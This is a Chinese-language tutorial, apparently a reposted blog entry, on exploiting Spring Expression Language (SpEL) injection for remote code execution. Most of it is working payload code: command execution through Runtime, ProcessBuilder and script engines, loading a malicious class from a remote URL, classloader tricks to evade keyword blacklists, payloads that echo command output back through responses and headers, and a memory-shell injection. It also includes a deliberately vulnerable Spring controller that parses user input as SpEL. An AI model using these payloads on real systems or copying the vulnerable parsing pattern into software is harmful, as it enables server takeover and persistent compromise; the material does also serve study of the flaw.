环境依赖
- <dependencies>
- <dependency>
- <groupId>org.springframework</groupId>
- <artifactId>spring-expression</artifactId>
- <version>5.1.9.RELEASE</version>
- </dependency>
- </dependencies>
复制代码 SPEL表达式底子
SPEL简介
在Spring 3中引入了Spring表达式语言(Spring Expression Language,简称SpEL),这是一种功能强大的表达式语言,支持在运行时查询和操作对象图,可以与基于XML和基于注解的Spring配置还有bean界说一起使用。
在Spring系列产品中,SpEL是表达式盘算的底子,实现了与Spring生态系统全部产品无缝对接。Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEL可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。由于它能够在运行时动态分配值,因此可以为我们节流大量Java代码。
SpEL有许多特性:
- 使用Bean的ID来引用Bean
- 可调用方法和访问对象的属性
- 可对值进行算数、关系和逻辑运算
- 可使用正则表达式进行匹配
- 可进行集合操作
定界符${}与#{}
这两个作用不太一样,${}是一个占位符,可以进行一些注入,但中间的内容不会被剖析,#{}是SPEL特有的定界符,中间的内容会被剖析
范例表达式T()
举个例子- package org.example;
- import org.springframework.expression.Expression;
- import org.springframework.expression.ExpressionParser;
- import org.springframework.expression.spel.standard.SpelExpressionParser;
- public class Main {
- public static void main(String[] args) {
- String cmdstr = "T(java.lang.String)";
- ExpressionParser parser = new SpelExpressionParser();
- Expression exp = parser.parseExpression(cmdstr);
- System.out.println(exp.getValue());
- }
- }
- // 输出
- class java.lang.String
复制代码 T中的内容会被剖析成类,如上所示,这样我们也能剖析java.lang.Runtime
SPEL常见的表达式
一些比较常见的表达式
运算符范例运算符算数运算+, -, *, /, %, ^关系运算, ==, =, lt, gt, eq, le, ge逻辑运算and, or, not, !条件运算? ternary), ? Elvis)正则表达式matches运算符符号文本范例等于==eq小于</tdtdlt/td/trtrtd小于等于/tdtd=/tdtdle/td/trtrtd大于/tdtd/tdtdgt/td/trtrtd大于等于/tdtd>=ge变量界说和引用
在SPEL表达式中,变量界说通过EvaluationContext类的setVariable(variableName, value)函数来实现;在表达式中使用#variableName来引用;除了引用自界说变量,SPEL还允许引用根对象及当前上下文对象:
- this:使用当前正在盘算的上下文;
- root:引用容器的root对象;
- @something:引用Bean
RCE直接使用
常见有三种办法
ProcessBuilder
- package org.example;
- import org.springframework.expression.Expression;
- import org.springframework.expression.ExpressionParser;
- import org.springframework.expression.spel.standard.SpelExpressionParser;
- public class Main {
- public static void main(String[] args) {
- String cmdstr = "new java.lang.ProcessBuilder(new String[]{'calc'}).start()";
- ExpressionParser parser = new SpelExpressionParser();
- Expression exp = parser.parseExpression(cmdstr);
- System.out.println(exp.getValue());
- }
- }
复制代码 Runtime
- package org.example;
- import org.springframework.expression.Expression;
- import org.springframework.expression.ExpressionParser;
- import org.springframework.expression.spel.standard.SpelExpressionParser;
- public class Main {
- public static void main(String[] args) {
- String cmdstr = "T(java.lang.Runtime).getRuntime().exec('calc')";
- ExpressionParser parser = new SpelExpressionParser();
- Expression exp = parser.parseExpression(cmdstr);
- System.out.println(exp.getValue());
- }
- }
复制代码 ScriptEngine
- package org.example;
- import org.springframework.expression.Expression;
- import org.springframework.expression.ExpressionParser;
- import org.springframework.expression.spel.standard.SpelExpressionParser;
- public class Main {
- public static void main(String[] args) {
- String cmdstr = "new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);")";
- // 或者
- String cmdstr = "new javax.script.ScriptEngineManager().getEngineByName("javascript").eval("s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);")";
- ExpressionParser parser = new SpelExpressionParser();
- Expression exp = parser.parseExpression(cmdstr);
- System.out.println(exp.getValue());
- }
- }
复制代码 留意这里调用的js的引擎,支持js语法,所以使用方式非常的机动,绕过黑名单啥的也是一把好手
类加载RCE
URLClassLoader
- package org.example;
- import org.springframework.expression.Expression;
- import org.springframework.expression.ExpressionParser;
- import org.springframework.expression.spel.standard.SpelExpressionParser;
- public class Main {
- public static void main(String[] args) {
- String cmdstr = "new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL('http://127.0.0.1:8888/')}).loadClass("evilref").getConstructors()[0].newInstance()";
- String cmdstr = "new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL('http://127.0.0.1:8888/')}).loadClass("evilref").newInstance()";
- ExpressionParser parser = new SpelExpressionParser();
- Expression exp = parser.parseExpression(cmdstr);
- System.out.println(exp.getValue());
- }
- }
复制代码 恶意类evilref用来弹盘算器,本身写一个就行
AppClassLoader
- package org.example;
- import org.springframework.expression.Expression;
- import org.springframework.expression.ExpressionParser;
- import org.springframework.expression.spel.standard.SpelExpressionParser;
- public class Main {
- public static void main(String[] args) {
- String cmdstr = "T(java.lang.ClassLoader).getSystemClassLoader().loadClass('java.lang.Runtime').getRuntime().exec('calc')";
- ExpressionParser parser = new SpelExpressionParser();
- Expression exp = parser.parseExpression(cmdstr);
- System.out.println(exp.getValue());
- }
- }
复制代码 绕过
假如ban掉了一些关键字,我们该怎样获取classloader- T(org.springframework.expression.Expression).getClass().getClassLoader()
- #thymeleaf 情况下
- T(org.thymeleaf.context.AbstractEngineContext).getClass().getClassLoader()
- #web服务下通过内置对象
- {request.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("touch/tmp/foobar")}
- username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf
- #BCEL
- T(com.sun.org.apache.bcel.internal.util.JavaWrapper)._main({"BCEL"})
复制代码 回显问题
先搭建一个spring服务,写个controller- package com.example.demo.controller;
- import org.springframework.expression.Expression;
- import org.springframework.expression.ExpressionParser;
- import org.springframework.expression.spel.standard.SpelExpressionParser;
- import org.springframework.stereotype.Controller;
- import org.springframework.web.bind.annotation.RequestBody;
- import org.springframework.web.bind.annotation.RequestMapping;
- import org.springframework.web.bind.annotation.ResponseBody;
- @Controller
- public class spelcontroller {
- @RequestMapping("/spel")
- @ResponseBody
- public String spelvul(String payload){
- ExpressionParser parser = new SpelExpressionParser();
- Expression exp = parser.parseExpression(payload);
- return (String) exp.getValue();
- }
- }
复制代码 nmmd,我为什么回显不了,sb springboot,直接给payload吧
BufferedReader
new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()
Scanner
new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asdasdasdasd").next()
这里的Delimiter是分隔符的意思,我们执行了dir指令,假如想让回显全部表如今一行。那么我们给一点乱七八糟的东西即可
ResponseHeader
由于springboot没有response,所以本身注册一个- package com.example.demo.controller;
- import jakarta.servlet.http.HttpServletRequest;
- import jakarta.servlet.http.HttpServletResponse;
- import org.springframework.expression.Expression;
- import org.springframework.expression.ExpressionParser;
- import org.springframework.expression.spel.SpelParserConfiguration;
- import org.springframework.expression.spel.standard.SpelExpressionParser;
- import org.springframework.expression.spel.support.StandardEvaluationContext;
- import org.springframework.stereotype.Controller;
- import org.springframework.web.bind.annotation.RequestMapping;
- import org.springframework.web.bind.annotation.ResponseBody;
- @Controller
- public class spelcontroller {
- @RequestMapping("/spel")
- @ResponseBody
- public String spelvul(String payload, HttpServletResponse response){
- StandardEvaluationContext context=new StandardEvaluationContext();
- context.setVariable("response",response);
- ExpressionParser parser = new SpelExpressionParser(new SpelParserConfiguration());
- Expression exp = parser.parseExpression(payload);
- return (String) exp.getValue();
- }
- }
复制代码 #response.addHeader('x-cmd',new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine())
然后就会返回一个x-cmd请求头带着我们的命令回显
注入内存马
不需要response,直接注内存马来搞回显
T(org.springframework.cglib.core.ReflectUtils).defineClass('InceptorMemShell',T(org.springframework.util.Base64Utils).decodeFromString('????????'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |